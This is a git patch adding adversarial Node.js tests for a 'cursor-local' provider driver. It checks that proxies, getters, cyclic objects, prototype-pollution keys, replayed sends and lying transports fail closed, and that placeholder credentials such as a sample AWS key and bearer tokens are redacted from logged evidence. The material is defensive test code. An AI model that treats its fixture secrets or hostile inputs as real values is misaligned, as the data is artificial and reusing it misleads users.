'terminal came from the second observation'); + const latched = context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(latched.disposition, 'terminal'); + assert.equal(context.stub.state.observes, 2, 'the terminal latch performs no further observation'); + assert.deepEqual([first.run_id, second.run_id, latched.run_id], + [fixture.run_id, fixture.run_id, fixture.run_id]); + assert.deepEqual( + [second.child_envelope_digest, latched.child_envelope_digest], + [fixture.child_envelope_digest, fixture.child_envelope_digest], + 'latched receipts preserve exact identity', + ); +}); + +test('already-terminal cancellation reports already_terminal without contacting the transport', () => { + const context = create('happy'); + dispatch(context); + context.bound.reconcile(context.request('reconcile')); + context.bound.reconcile(context.request('reconcile')); + const receipt = context.bound.cancel(context.request('cancel')); + assert.equal(receipt.disposition, 'already_terminal'); + assertIdentityEcho(receipt, 'already-terminal cancel'); + assert.equal(context.stub.state.cancelCalls, 0, 'no cancel call after the terminal latch'); +}); + +test('confirmed cancellation closes the lane and preserves identity everywhere', () => { + const context = create('happy'); + dispatch(context); + const receipt = context.bound.cancel(context.request('cancel')); + assert.equal(receipt.disposition, 'cancel_confirmed'); + assertIdentityEcho(receipt, 'cancel'); + assert.equal(context.stub.state.cancelCalls, 1); + const observed = context.bound.reconcile(context.request('reconcile')); + assert.equal(observed.disposition, 'terminal'); + assert.equal(context.stub.state.observes, 0, 'a cancelled lane never observes again'); + assert.equal(context.bound.cancel(context.request('cancel')).disposition, 'already_terminal'); +}); + +test('requested cancellation stays resolvable and still ends at the terminal latch', () => { + const context = create('cancel_requested_flow'); + dispatch(context); + const requested = context.bound.cancel(context.request('cancel')); + assert.equal(requested.disposition, 'cancel_requested'); + assertIdentityEcho(requested, 'cancel_requested'); + const windingDown = context.bound.reconcile(context.request('reconcile')); + assert.equal(windingDown.disposition, 'in_progress', + 'a requested cancellation keeps observing until the provider settles'); + const settled = context.bound.reconcile( + context.request('reconcile', { intent: 'restart_reattach' })); + assert.equal(settled.disposition, 'terminal'); + assert.equal(context.bound.cancel(context.request('cancel')).disposition, 'already_terminal'); +}); + +test('same-session attention replies are attempt-once and bound to the exact session/question', () => { + const context = create('attention'); + dispatch(context); + const attention = context.bound.reconcile( + context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(attention.disposition, 'unresolved_attention'); + assertIdentityEcho(attention, 'attention reconcile'); + + const receipt = context.created.controls.submitAttentionReply(context.replyRequest()); + assert.equal(receipt.answered, true); + assert.equal(receipt.schema.startsWith('codex-co-engineer.cursor-local-reply-result'), true); + assertIdentityEcho(receipt, 'reply'); + assert.equal(receipt.question_id, FIXTURE_QUESTION_ID); + assert.ok(Object.isFrozen(receipt)); + assert.equal(context.stub.state.replies, 1, 'exactly one reply attempt reached the transport'); + assert.equal(context.stub.state.replyRecords[0].answer_text, 'Approved; continue.'); + assert.equal(context.stub.state.replyRecords[0].question_id, FIXTURE_QUESTION_ID); + + expectCode(() => context.created.controls.submitAttentionReply(context.replyRequest()), + 'reply_already_attempted', 'a second reply on the same question is denied'); + assert.equal(context.stub.state.replies, 1, 'no second reply ever reaches the transport'); + + const settled = context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(settled.disposition, 'in_progress', + 'the lane resumes normal observation after the answer'); + const finished = context.bound.reconcile(context.request('reconcile')); + assert.equal(finished.disposition, 'terminal'); +}); + +test('reply refuses mismatches without consuming the attempt or touching the transport', () => { + const context = create('attention'); + dispatch(context); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + + expectCode(() => context.created.controls.submitAttentionReply( + context.replyRequest({ question_id: 'q-other-9' }), + ), 'question_mismatch', 'a different question is refused'); + expectCode(() => context.created.controls.submitAttentionReply( + context.replyRequest({ session_id: 'sess-unrelated' }), + ), 'uncorrelated_session', 'an uncorrelated session is refused'); + assert.equal(context.stub.state.replies, 0, 'refusals never reach the transport'); + const receipt = context.created.controls.submitAttentionReply(context.replyRequest()); + assert.equal(receipt.answered, true, 'the one attempt remains available after refusals'); +}); + +test('reply postures are pinned by the accepted P05 bridge and refuse contradiction at birth', () => { + // The accepted P17 capability bridge pins cursor-local to + // live_session_reply, so an unsupported-reply driver cannot even be + // constructed; submitAttentionReply still refuses explicitly should a + // posture ever reach it. + expectCode(() => createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration({ + same_session_reply: 'unsupported_unresolved_attention', + }), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: createCursorLocalTransportStub('attention').transport, + }), 'capability_reply_mismatch', + 'the P05 bridge refuses a cursor-local declaration that denies live replies'); +}); + +test('evidence drains as bounded frozen segments that match their byte accounting', () => { + const context = create('flood'); + dispatch(context); + const empty = context.created.controls.readEvidence(context.evidenceRequest()); + assert.equal(empty.total_bytes, 0); + assert.equal(empty.truncated, false); + + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + const drained = context.created.controls.readEvidence(context.evidenceRequest()); + assert.equal(drained.schema, CURSOR_LOCAL_EVIDENCE_SCHEMA_ID); + assert.equal(drained.version, PROVIDER_DRIVER_VERSION); + assert.ok(drained.total_bytes > 0, 'progress text was captured'); + let summed = 0; + for (const segment of drained.events) { + assert.ok(Object.isFrozen(segment), 'segments are frozen'); + assert.ok(segment.bytes <= MAX_EVIDENCE_SEGMENT_BYTES, 'segment byte bound'); + assert.ok(EVIDENCE_KINDS.includes(segment.kind), 'closed segment kind'); + summed += segment.bytes; + } + assert.equal(summed, drained.total_bytes, 'byte accounting matches the segments'); + assert.ok(drained.total_bytes <= MAX_LANE_EVIDENCE_BYTES, 'lane byte bound'); + assert.ok(drained.events.length <= MAX_EVIDENCE_EVENTS, 'event count bound'); + assert.ok(Object.isFrozen(drained.events)); + const again = context.created.controls.readEvidence(context.evidenceRequest()); + assert.deepEqual(again, drained, 'draining is stable and non-consuming'); + + // Short observation tails stay inside the persistent redaction window + // (so signatures cannot recombine across reconciliations) and become + // host-visible at the terminal latch flush. + const tail = create('happy'); + dispatch(tail); + tail.bound.reconcile(tail.request('reconcile', { include: INCLUDE_ALL })); + const beforeLatch = tail.created.controls.readEvidence(tail.evidenceRequest()); + assert.equal(beforeLatch.total_bytes, 0, + 'a sub-window tail stays withheld while the lane runs'); + tail.bound.reconcile(tail.request('reconcile')); + const latched = tail.created.controls.readEvidence(tail.evidenceRequest()); + assert.ok(latched.total_bytes > 0, 'the terminal latch flushes the withheld tail'); + let latchedSum = 0; + for (const segment of latched.events) latchedSum += segment.bytes; + assert.equal(latchedSum, latched.total_bytes); +}); + +test('restart_reattach reattaches to the identical session without respawning', () => { + const context = create('happy'); + dispatch(context); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + const reattached = context.bound.reconcile( + context.request('reconcile', { intent: 'restart_reattach', include: INCLUDE_ALL })); + assert.ok(reattached.disposition === 'terminal' || reattached.disposition === 'in_progress', + 'restart_reattach observes the existing dispatch'); + assertIdentityEcho(reattached, 'restart_reattach'); + assert.equal(context.stub.state.spawnCalls, 1, 'restart_reattach never spawns again'); + assert.equal(context.stub.state.sends, 1, 'restart_reattach never redispatches'); +}); + +test('unsupported feature declarations fail closed on the operations that need them', () => { + const cancelling = create('happy', { features: { cancellation: 'unsupported' } }); + dispatch(cancelling); + expectCode(() => cancelling.bound.cancel(cancelling.request('cancel')), + 'unsupported_capability', 'cancellation declared unsupported fails closed'); + + const restarting = create('happy', { features: { restart: 'unsupported' } }); + dispatch(restarting); + expectCode(() => restarting.bound.reconcile( + restarting.request('reconcile', { intent: 'restart_reattach' }), + ), 'unsupported_capability', 'restart declared unsupported fails closed'); +}); + +test('control requests are quarantined by the same closed schema discipline', () => { + const context = create('attention'); + dispatch(context); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + + expectCode(() => context.created.controls.readEvidence({ + ...context.evidenceRequest(), extra: true, + }), 'unknown_key', 'evidence requests reject unknown keys'); + expectCode(() => context.created.controls.submitAttentionReply({ + ...context.replyRequest(), fallback: 'again', + }), 'unknown_key', 'reply requests reject fallback-shaped foreign keys'); + const missing = context.replyRequest(); + delete missing.answer_text; + expectCode(() => context.created.controls.submitAttentionReply(missing), 'missing_key', + 'reply requests derive nothing'); + expectCode(() => context.created.controls.submitAttentionReply( + context.replyRequest({ answer_text: '' }), + ), 'invalid_answer', 'empty answers are refused before the attempt'); +}); + From 01160e49e8dd6ac16dc05a9feac661e16d0eb89b Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Sun, 23 Aug 2026 17:35:39 +0000 Subject: [PATCH 087/151] test(provider): prove the cursor-local driver against hostile callers Adversarial offline coverage for the P19 cursor-local driver: hostile option/request trees (proxies, revoked proxies, accessors, symbols, non-enumerables, exotic prototypes, sparse, cyclic, aliased, unknown-key, oversized depth) are rejected inside the same content-free quarantine with zero getter or trap executions and no hostile name or value in any code, path, or message; provenance substitution (foreign provider, model, base sha, flipped digest, tampered envelope bytes) is refused; replay, fallback keys, and second dispatches are impossible after a possible send; pre-spawn not_sent stays distinct from post-spawn dispatch_uncertain; uncorrelated sessions are never bound; lying, throwing, promise-returning, and getter-bearing transports fail closed; signature recombination across chunks, events, and reconciliations is prevented; UTF-8 byte bounds hold under flood overflow without corrupting multi-byte characters. --- ...1-cursor-local-driver-adversarial.test.mjs | 546 ++++++++++++++++++ 1 file changed, 546 insertions(+) create mode 100644 plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs diff --git a/plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs new file mode 100644 index 0000000..2d062a5 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs @@ -0,0 +1,546 @@ +// Adversarial runtime tests for the CursorLocalDriverV1 reconstruction +// (P19). Hostile descriptors, proxies, accessors, symbols, non-enumerables, +// exotic prototypes, sparse/cyclic/aliased/unknown-key inputs, provenance +// substitution, replay and fallback attempts, uncorrelated sessions, +// signature recombination, bound overflow, and lying transports must all +// fail closed inside the same content-free quarantine: no caller code runs, +// no hostile name or value escapes, and nothing is ever replayed. Everything +// runs offline against the scripted r1-cursor-local-transport fixture. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + PROVIDER_DRIVER_VERSION, + bindProviderDriverV1, + buildDriverOperationRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { + CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, + CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + MAX_EVIDENCE_EVENTS, + MAX_EVIDENCE_SEGMENT_BYTES, + MAX_LANE_EVIDENCE_BYTES, + createCursorLocalDriverV1, +} from '../mcp/v3/cursor-local-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { + SECRET_AWS_KEY, + SECRET_BEARER_TOKEN, + SECRET_SPLIT_HEAD, + SECRET_SPLIT_TAIL, + buildCursorLocalFixtureV1, + createCursorLocalTransportStub, + cursorLocalDeclaration, +} from './fixtures/r1-cursor-local-transport.mjs'; + +const fixture = buildCursorLocalFixtureV1(); +const INCLUDE_ALL = ['detailed_events', 'live_progress']; +const HOSTILE_MARKERS = [ + 'super-secret-value-1234567890', + SECRET_BEARER_TOKEN, + SECRET_AWS_KEY, + 'spawn pipe broke', + 'connection reset mid-write', + 'observe died', + '__proto__', + 'polluted', +]; + +function expectCode(fn, code, message) { + if (code === undefined) { + assert.throws(fn, (error) => error instanceof RunContractV1Error, message); + return; + } + assert.throws(fn, (error) => { + if (!(error instanceof RunContractV1Error) || error.code !== code) return false; + const text = `${error.message}\u0000${String(error.path)}`; + for (const marker of HOSTILE_MARKERS) { + assert.equal(text.includes(marker), false, + `content-free violation: ${marker} escaped into an error surface`); + } + return true; + }, message); +} + +function create(scenario = 'happy', options = {}) { + const stub = createCursorLocalTransportStub(options.scenario ?? scenario); + const created = createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: stub.transport, + }); + const bound = bindProviderDriverV1(created.driver, created.declaration); + const request = (operation, extras = {}) => + buildDriverOperationRequestV1(operation, fixture.envelope, extras); + return { bound, created, request, stub }; +} + +function dispatch(context) { + context.bound.preflight(context.request('preflight')); + return context.bound.launch(context.request('launch')); +} + +function evidenceRequest() { + return { + schema: CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; +} + +test('hostile option trees are rejected without running any caller code', () => { + const transport = createCursorLocalTransportStub('happy').transport; + const base = () => ({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport, + }); + + let getterRuns = 0; + const accessor = base(); + delete accessor.model; + Object.defineProperty(accessor, 'model', { + enumerable: true, + get() { + getterRuns += 1; + return fixture.model; + }, + }); + expectCode(() => createCursorLocalDriverV1(accessor), 'accessor_property_denied', + 'accessor options are denied'); + assert.equal(getterRuns, 0, 'option getters are never invoked'); + + expectCode(() => createCursorLocalDriverV1(new Proxy(base(), {})), 'proxy_denied', + 'proxied options are denied'); + const revocable = Proxy.revocable(base(), {}); + revocable.revoke(); + expectCode(() => createCursorLocalDriverV1(revocable.proxy), 'proxy_denied', + 'revoked proxies are denied'); + + class OptionsClass {} + expectCode(() => createCursorLocalDriverV1(Object.assign(new OptionsClass(), base())), + 'invalid_type', 'exotic option prototypes fail the plain-object gate'); + + expectCode(() => createCursorLocalDriverV1(Object.assign(base(), { [Symbol('hidden')]: 1 })), + 'symbol_key_denied', 'symbol keys are denied'); + const hidden = base(); + Object.defineProperty(hidden, 'run_base_sha', { + value: fixture.base_sha, enumerable: false, + }); + expectCode(() => createCursorLocalDriverV1(hidden), 'non_enumerable_property_denied', + 'non-enumerable keys are denied'); + expectCode(() => createCursorLocalDriverV1({ ...base(), polluted: '__proto__' }), + 'unknown_key', 'unknown option keys are denied'); + const incompleteNullProto = base(); + const nullProto = Object.assign(Object.create(null), transport); + delete nullProto.reply; + incompleteNullProto.transport = nullProto; + expectCode(() => createCursorLocalDriverV1(incompleteNullProto), 'invalid_surface', + 'null-prototype transports still need the exact method set'); + const completeNullProto = createCursorLocalDriverV1({ ...base(), transport: Object.assign(Object.create(null), transport) }); + assert.equal(completeNullProto.provider, 'cursor-local', + 'a complete null-prototype transport is plain data and is accepted'); +}); + +test('the transport surface accepts only plain concrete methods', () => { + const build = (transportOverrides, scenario = 'happy') => createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: { ...createCursorLocalTransportStub(scenario).transport, ...transportOverrides }, + }); + + expectCode(() => build({ observe: undefined }).driver, 'invalid_operation', + 'undefined methods are denied'); + expectCode(() => build({ reply: 42 }).driver, 'invalid_operation', + 'non-function methods are denied'); + const accessorTransport = {}; + for (const method of ['availability', 'cancel', 'observe', 'reply', 'send']) { + accessorTransport[method] = () => ({}); + } + Object.defineProperty(accessorTransport, 'spawn', { + enumerable: true, get: () => () => ({}), + }); + expectCode(() => createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: accessorTransport, + }), 'invalid_operation', 'accessor methods are denied'); + expectCode(() => build({}, 'happy').driver && createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: new Proxy(createCursorLocalTransportStub('happy').transport, {}), + }), 'proxy_denied', 'proxied transports are denied'); + const extra = createCursorLocalTransportStub('happy').transport; + extra.respawn = () => ({}); + expectCode(() => createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: extra, + }), 'invalid_surface', 'extra transport methods are denied'); +}); + +test('provenance substitution and omitted-field derivation are refused on every surface', () => { + const dshFixture = buildCursorLocalFixtureV1({ + provider: 'dsh', model: 'muse-spark-1.2-contributor', run_id: 'substituted-dsh-run', + }); + const grokFixture = buildCursorLocalFixtureV1({ + provider: 'grok', model: 'grok-4', run_id: 'substituted-grok-run', + }); + const foreignModel = buildCursorLocalFixtureV1({ + model: 'other-model-9', run_id: 'other-model-run', + }); + const wrongBase = buildCursorLocalFixtureV1({ + base_sha: 'a2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c2', + run_id: 'other-base-run', + }); + + const context = create('happy'); + for (const [label, foreign] of [ + ['dsh envelope', dshFixture], + ['grok envelope', grokFixture], + ['foreign model envelope', foreignModel], + ['foreign base sha envelope', wrongBase], + ]) { + const foreignRequest = buildDriverOperationRequestV1('preflight', foreign.envelope); + expectCode(() => context.bound.preflight(foreignRequest), undefined, + `${label} is refused by exact binding`); + } + + // A different child envelope digest over the same lane identity is stale. + expectCode(() => context.created.controls.readEvidence({ + schema: CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest.split('') + .map((c, i) => (i === 3 ? (c === '0' ? '1' : '0') : c)).join(''), + }), 'unknown_lane', 'a flipped digest never resolves to the lane'); + + const truncated = { + ...evidenceRequest(), + envelope_text: fixture.envelope_text.slice(0, -2), + }; + expectCode(() => context.created.controls.readEvidence(truncated), + undefined, 'tampered envelope text is refused by the strict parse'); +}); + +test('replay and fallback are impossible after a possible send', () => { + const uncertain = create('ambiguous_send'); + uncertain.bound.preflight(uncertain.request('preflight')); + assert.equal(uncertain.bound.launch(uncertain.request('launch')).disposition, + 'dispatch_uncertain'); + expectCode(() => uncertain.bound.launch(uncertain.request('launch')), 'replay_denied', + 'a possibly-sent prompt is never sent twice'); + assert.equal(uncertain.stub.state.sends, 1, 'exactly one dispatch attempt happened'); + + // Foreign keys on real requests are refused before any state change. + const dispatched = create('happy'); + dispatched.bound.preflight(dispatched.request('preflight')); + const foreignKeys = [ + ['fallback', true, 'replay_or_fallback_denied'], + ['retry_dispatch', 'now', 'replay_or_fallback_denied'], + ['resend', true, 'replay_or_fallback_denied'], + ['relaunch_attempts', 1, 'unknown_key'], + ]; + for (const [key, value, code] of foreignKeys) { + const tampered = { + schema: 'codex-co-engineer.driver-launch.v1', + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + [key]: value, + }; + assert.throws(() => dispatched.bound.launch(tampered), (error) => + error instanceof RunContractV1Error && error.code === code, + `foreign key ${key} must be refused with ${code}`); + } + assert.equal(dispatched.stub.state.spawnCalls, 0, + 'refused requests never reach the transport'); +}); + +test('pre-spawn not_sent stays distinct from post-spawn dispatch_uncertain', () => { + const spawnFailed = create('spawn_failure'); + spawnFailed.bound.preflight(spawnFailed.request('preflight')); + const notSentSpawn = spawnFailed.bound.launch(spawnFailed.request('launch')); + assert.equal(notSentSpawn.disposition, 'not_sent'); + assert.equal(notSentSpawn.detail_code, 'spawn_unavailable'); + assert.equal(typeof notSentSpawn.detail_message, 'string'); + assert.ok(!notSentSpawn.detail_message.includes(SECRET_BEARER_TOKEN), + 'the transport failure message never leaks'); + assert.equal(spawnFailed.stub.state.sends, 0, 'no dispatch follows a failed spawn'); + expectCode(() => spawnFailed.bound.reconcile(spawnFailed.request('reconcile')), + 'not_dispatched', 'reconcile cannot invent a dispatch'); + expectCode(() => spawnFailed.bound.cancel(spawnFailed.request('cancel')), + 'not_dispatched', 'cancel cannot invent a dispatch'); + // A pre-write send failure is still honestly not_sent. + const preWrite = create('pre_write_failure'); + preWrite.bound.preflight(preWrite.request('preflight')); + const notSentWrite = preWrite.bound.launch(preWrite.request('launch')); + assert.equal(notSentWrite.disposition, 'not_sent'); + assert.equal(notSentWrite.detail_code, 'dispatch_not_written'); + expectCode(() => preWrite.bound.reconcile(preWrite.request('reconcile')), 'not_dispatched', + 'nothing was written, so there is nothing to reconcile'); + + // Post-spawn uncertainty is distinct: no detail pair, reconcile allowed. + const ambiguous = create('ambiguous_send'); + ambiguous.bound.preflight(ambiguous.request('preflight')); + const uncertain = ambiguous.bound.launch(ambiguous.request('launch')); + assert.equal(uncertain.disposition, 'dispatch_uncertain'); + assert.equal(uncertain.detail_code, undefined, + 'dispatch_uncertain carries no detail pair'); + const observed = ambiguous.bound.reconcile(ambiguous.request('reconcile')); + assert.ok(['in_progress', 'terminal'].includes(observed.disposition), + 'reconcile may correlate the possibly-dispatched lane'); +}); + +test('uncorrelated sessions are never bound anywhere', () => { + const lostSession = create('session_lost'); + lostSession.bound.preflight(lostSession.request('preflight')); + lostSession.bound.launch(lostSession.request('launch')); + expectCode(() => lostSession.bound.reconcile( + lostSession.request('reconcile', { include: INCLUDE_ALL }), + ), 'uncorrelated_session', 'a corrupted binding echo is refused'); + const stillCancellable = lostSession.bound.cancel(lostSession.request('cancel')); + assert.equal(stillCancellable.disposition, 'cancel_confirmed', + 'cancellation keeps addressing the exact original session'); + assert.equal(stillCancellable.run_id, fixture.run_id); + expectCode(() => lostSession.created.controls.submitAttentionReply({ + schema: CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + session_id: 'sess-unrelated-77', + question_id: 'q-any', + answer_text: 'nope', + }), 'no_attention_question', 'an unrelated session has no outstanding question here'); + + const wrongEcho = create('wrong_binding_echo'); + wrongEcho.bound.preflight(wrongEcho.request('preflight')); + wrongEcho.bound.launch(wrongEcho.request('launch')); + expectCode(() => wrongEcho.bound.reconcile(wrongEcho.request('reconcile')), + 'uncorrelated_session', 'a substituted binding digest is refused'); +}); + +test('lying transports produce content-free typed failures only', () => { + const observeBomb = create('observe_throws'); + observeBomb.bound.preflight(observeBomb.request('preflight')); + observeBomb.bound.launch(observeBomb.request('launch')); + expectCode(() => observeBomb.bound.reconcile( + observeBomb.request('reconcile', { include: INCLUDE_ALL }), + ), 'observe_failed', 'a throwing observation fails closed without leaking stderr'); + + const sendBomb = create('send_getter_bomb'); + sendBomb.bound.preflight(sendBomb.request('preflight')); + const receipt = sendBomb.bound.launch(sendBomb.request('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain', + 'unclassifiable send failures become honest post-spawn uncertainty'); + assert.ok(!receipt.disposition.includes('boom')); + + const getterCounter = { reads: 0 }; + const poisoned = createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: { + availability: () => ({ available: true }), + cancel: () => ({}), + observe: () => ({}), + reply: () => ({}), + send: () => ({}), + spawn: () => { + const result = { session_id: 'sess-x', binding_digest: 'sha256:x' }; + Object.defineProperty(result, 'binding_digest', { + enumerable: true, + get() { + getterCounter.reads += 1; + return 'sha256:x'; + }, + }); + return result; + }, + }, + }); + const poisonedBound = bindProviderDriverV1(poisoned.driver, poisoned.declaration); + poisonedBound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + expectCode(() => poisonedBound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'accessor_property_denied', 'getter-bearing spawn results are refused structurally'); + assert.equal(getterCounter.reads, 0, 'result getters are never invoked'); +}); + +test('promise-returning transports fail closed instead of hiding an ambiguous send', () => { + const asyncTransport = {}; + for (const method of ['availability', 'cancel', 'observe', 'reply', 'send', 'spawn']) { + asyncTransport[method] = async () => ({}); + } + const created = createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: asyncTransport, + }); + const bound = bindProviderDriverV1(created.driver, created.declaration); + const preflightRequest = buildDriverOperationRequestV1('preflight', fixture.envelope); + assert.equal(bound.preflight(preflightRequest).disposition, 'blocked', + 'async availability is treated as unavailable'); +}); + +test('signature recombination across chunks and reconciliations is prevented', () => { + const context = create('secret_chunks'); + context.bound.preflight(context.request('preflight')); + context.bound.launch(context.request('launch')); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + const drained = context.created.controls.readEvidence(evidenceRequest()); + const allText = drained.events.map((segment) => segment.text).join('\u0001'); + assert.equal(allText.includes('[REDACTED]'), true, 'signatures were redacted wholesale'); + assert.equal(allText.includes('sk-live-9988776655443322'), false, + 'the split bearer token never recombines across calls'); + assert.equal(allText.includes(SECRET_SPLIT_TAIL.replace(/^ve-/, '')), false, + 'the split token body is absent'); + assert.equal(allText.includes('AKIAIOSFODNN7EXAMPLE'), false, 'aws-shaped keys are redacted'); + assert.equal(allText.includes('super-secret-value-1234567890'), false, + 'key/value assignments are redacted'); + assert.equal(/Bearer\s+[A-Za-z0-9]/u.test(allText), false, + 'bearer signatures are redacted even in fragments'); + for (const segment of drained.events) { + assert.ok(segment.bytes <= MAX_EVIDENCE_SEGMENT_BYTES, 'segment byte bound holds'); + assert.ok(Buffer.byteLength(segment.text, 'utf8') === segment.bytes, + 'byte accounting is UTF-8 accurate'); + assert.equal(Buffer.from(segment.text, 'utf8').toString('utf8'), segment.text, + 'segments survive a UTF-8 round trip intact'); + } +}); + +test('multi-byte characters survive bounding without corruption', () => { + const emoji = '\u{1F600}'.repeat(4000); // ~16000 bytes, one segment boundary + let getterRuns = 0; + const stub = createCursorLocalTransportStub('happy'); + const originalObserve = stub.transport.observe; + stub.transport.observe = (request) => { + const result = originalObserve(request); + if (Array.isArray(request.include) && request.include.includes('live_progress')) { + const withoutEvents = { ...result }; + delete withoutEvents.events; + return { ...withoutEvents, progress_text: emoji }; + } + return result; + }; + const created = createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: stub.transport, + }); + const bound = bindProviderDriverV1(created.driver, created.declaration); + bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { include: INCLUDE_ALL })); + created.controls.readEvidence(evidenceRequest()); + // Drive to terminal to flush the window, then check every segment is valid UTF-8. + bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope)); + const drained = created.controls.readEvidence(evidenceRequest()); + assert.ok(drained.total_bytes > 0, 'flushed evidence exists'); + for (const segment of drained.events) { + assert.equal(segment.text.includes('\uFFFD'), false, + 'truncation never introduces replacement characters'); + assert.equal(Buffer.from(segment.text, 'utf8').toString('utf8'), segment.text, + 'every bounded segment round trips as valid UTF-8'); + } + assert.equal(getterRuns, 0); +}); + +test('bound overflow sets truncated and drops further input silently', () => { + const context = create('flood'); + context.bound.preflight(context.request('preflight')); + context.bound.launch(context.request('launch')); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + const drained = context.created.controls.readEvidence(evidenceRequest()); + assert.equal(drained.truncated, true, 'overflow is reported as truncated'); + assert.ok(drained.total_bytes <= MAX_LANE_EVIDENCE_BYTES, 'lane byte cap holds exactly'); + assert.ok(drained.events.length <= MAX_EVIDENCE_EVENTS, 'event count cap holds'); + const allText = drained.events.map((segment) => segment.text).join(''); + assert.equal(allText.includes('sk-live-abcdef0123456789'), false, + 'even flooded evidence stays redacted'); +}); + +test('hostile control requests stay inside the content-free quarantine', () => { + const context = create('happy'); + dispatch(context); + const replyBase = () => ({ + schema: CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + session_id: 'sess-local-1', + question_id: 'q-attn-1', + answer_text: 'Approved.', + }); + + let getterRuns = 0; + const accessorReply = replyBase(); + delete accessorReply.answer_text; + Object.defineProperty(accessorReply, 'answer_text', { + enumerable: true, + get() { + getterRuns += 1; + return 'Approved.'; + }, + }); + expectCode(() => context.created.controls.submitAttentionReply(accessorReply), + 'accessor_property_denied', 'accessor replies are denied'); + assert.equal(getterRuns, 0, 'reply getters are never invoked'); + + expectCode(() => context.created.controls.submitAttentionReply(new Proxy(replyBase(), {})), + 'proxy_denied', 'proxied replies are denied'); + const cyclic = replyBase(); + cyclic.self = {}; + cyclic.self.self = cyclic.self; + expectCode(() => context.created.controls.submitAttentionReply(cyclic), + 'aliased_reference_denied', 'cyclic replies are denied'); + const aliased = replyBase(); + const shared = { lane: 1 }; + aliased.extra = shared; + expectCode(() => context.created.controls.submitAttentionReply({ ...aliased, extra2: shared }), + 'aliased_reference_denied', 'aliased replies are denied inside the same quarantine'); + let depth = { v: 0 }; + for (let index = 0; index < 40; index += 1) depth = { nested: depth }; + expectCode(() => context.created.controls.submitAttentionReply( + { ...replyBase(), answer_text: depth }, + ), 'value_depth_exceeded', 'oversized depth is denied'); + expectCode(() => context.created.controls.readEvidence( + new Proxy(evidenceRequest(), {}), + ), 'proxy_denied', 'proxied evidence requests are denied'); +}); + +test('terminal receipts keep exact identity under repetition and hostile echoes', () => { + const context = create('happy'); + dispatch(context); + const first = context.bound.reconcile(context.request('reconcile')); + const second = context.bound.reconcile( + context.request('reconcile', { intent: 'restart_reattach' })); + const identityOf = (receipt) => ({ + run_id: receipt.run_id, assignment_id: receipt.assignment_id, + lane_index: receipt.lane_index, base_sha: receipt.base_sha, + child_envelope_digest: receipt.child_envelope_digest, + }); + assert.deepEqual(identityOf(first), identityOf(second), + 'identity is preserved across state changes'); + const third = context.bound.reconcile(context.request('reconcile')); + assert.deepEqual( + { ...identityOf(second), disposition: second.disposition }, + { ...identityOf(third), disposition: third.disposition }, + 'latched reconciles repeat the identical terminal receipt', + ); + const cancelReceipt = 